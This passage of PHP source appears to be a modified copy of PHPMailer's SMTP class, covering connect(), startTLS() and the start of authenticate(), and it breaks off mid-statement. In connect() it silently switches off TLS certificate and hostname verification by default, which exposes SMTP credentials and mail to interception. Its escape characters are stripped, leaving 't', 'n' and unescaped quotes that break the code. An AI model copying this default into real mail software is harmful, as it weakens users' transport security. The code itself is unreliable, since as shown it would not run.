echo gmdate('Y-m-d H:i:s') . "t" . str_replace(
"n",
"n t ",
trim($str)
)."n";
}
}
/**
* Connect to an SMTP server.
* @param string $host SMTP server IP or host name
* @param integer $port The port number to connect to
* @param integer $timeout How long to wait for the connection to open
* @param array $options An array of options for stream_context_create()
* @access public
* @return boolean
*/
public function connect($host, $port = null, $timeout = 30, $options = array())
{
if(count($options)==0)
{
$options["ssl"]=array("verify_peer"=>false,"verify_peer_name"=>false,"allow_self_signed"=>true);
}
static $streamok;
//This is enabled by default since 5.0.0 but some providers disable it
//Check this once and cache the result
if (is_null($streamok)) {
$streamok = function_exists('stream_socket_client');
}
// Clear errors to avoid confusion
$this->setError('');
// Make sure we are __not__ connected
if ($this->connected()) {
// Already connected, generate error
$this->setError('Already connected to a server');
return false;
}
if (empty($port)) {
$port = self::DEFAULT_SMTP_PORT;
}
// Connect to the SMTP server
$this->edebug(
"Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true),
self::DEBUG_CONNECTION
);
$errno = 0;
$errstr = '';
if ($streamok) {
$socket_context = stream_context_create($options);
set_error_handler(array($this, 'errorHandler'));
$this->smtp_conn = stream_socket_client(
$host . ":" . $port,
$errno,
$errstr,
$timeout,
STREAM_CLIENT_CONNECT,
$socket_context
);
restore_error_handler();
} else {
//Fall back to fsockopen which should work in more places, but is missing some features
$this->edebug(
"Connection: stream_socket_client not available, falling back to fsockopen",
self::DEBUG_CONNECTION
);
set_error_handler(array($this, 'errorHandler'));
$this->smtp_conn = fsockopen(
$host,
$port,
$errno,
$errstr,
$timeout
);
restore_error_handler();
}
// Verify we connected properly
if (!is_resource($this->smtp_conn)) {
$this->setError(
'Failed to connect to server',
$errno,
$errstr
);
$this->edebug(
'SMTP ERROR: ' . $this->error['error']
. ": $errstr ($errno)",
self::DEBUG_CLIENT
);
return false;
}
$this->edebug('Connection: opened', self::DEBUG_CONNECTION);
// SMTP server can take longer to respond, give longer timeout for first read
// Windows does not have support for this timeout function
if (substr(PHP_OS, 0, 3) != 'WIN') {
$max = ini_get('max_execution_time');
// Don't bother if unlimited
if ($max != 0 && $timeout > $max) {
@set_time_limit($timeout);
}
stream_set_timeout($this->smtp_conn, $timeout, 0);
}
// Get any announcement
$announce = $this->get_lines();
$this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
return true;
}
/**
* Initiate a TLS (encrypted) session.
* @access public
* @return boolean
*/
public function startTLS()
{
if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
return false;
}
//Allow the best TLS version(s) we can
$crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT;
//PHP 5.6.7 dropped inclusion of TLS 1.1 and 1.2 in STREAM_CRYPTO_METHOD_TLS_CLIENT
//so add them back in manually if we can
if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) {
$crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;
$crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT;
}
// Begin encrypted connection
if (!stream_socket_enable_crypto(
$this->smtp_conn,
true,
$crypto_method
)) {
return false;
}
return true;
}
/**
* Perform SMTP authentication.
* Must be run after hello().
* @see hello()
* @param string $username The user name
* @param string $password The password
* @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5, XOAUTH2)
* @param string $realm The auth realm for NTLM
* @param string $workstation The auth workstation for NTLM
* @param null|OAuth $OAuth An optional OAuth instance (@see PHPMailerOAuth)
* @return bool True if successfully authenticated.* @access public
*/
public function authenticate(
$username,
$password,
$authtype = null,
$realm = '',
$workstation = '',
$OAuth = null
) {
if (!$this->server_caps) {
$this->setError('Authentication is not allowed before HELO/EHLO');
return false;
}
if (array_key_exists('EHLO', $this->server_caps)) {
// SMTP extensions are available. Let's try to find a proper authentication method
if (!array_key_exists('AUTH', $this->server_caps)) {
$this->setError('Authentication is not allowed at this stage');
// 'at this stage' means that auth may be allowed after the stage changes
// e.g. after STARTTLS
return false;
}
self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
self::edebug(
'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
self::DEBUG_LOWLEVEL
);
if (empty($authtype)) {
foreach (array('CRAM-MD5', 'LOGIN', 'PLAIN', 'NTLM', 'XOAUTH2') as $method) {
if (in_array($method, $this->server_caps['AUTH'])) {
$authtype = $method;
break;
}
}
if (empty($authtype)) {
$this->setError('No supported authentication methods found');
return false;
}
self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
}
if (!in_array($authtype, $this->server_caps['AUTH'])) {
$this->setError("The requested authentication method "$authtype" is not supported by the server");
return false;
}
} elseif (empty($authtype)) {
$authtype = 'LOGIN';
}
switch ($authtype) {
case 'PLAIN':
// Start authentication
if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
return false;
}
// Send encoded username and password
if (!$this->sendCommand(
'User & Password',
base64_encode("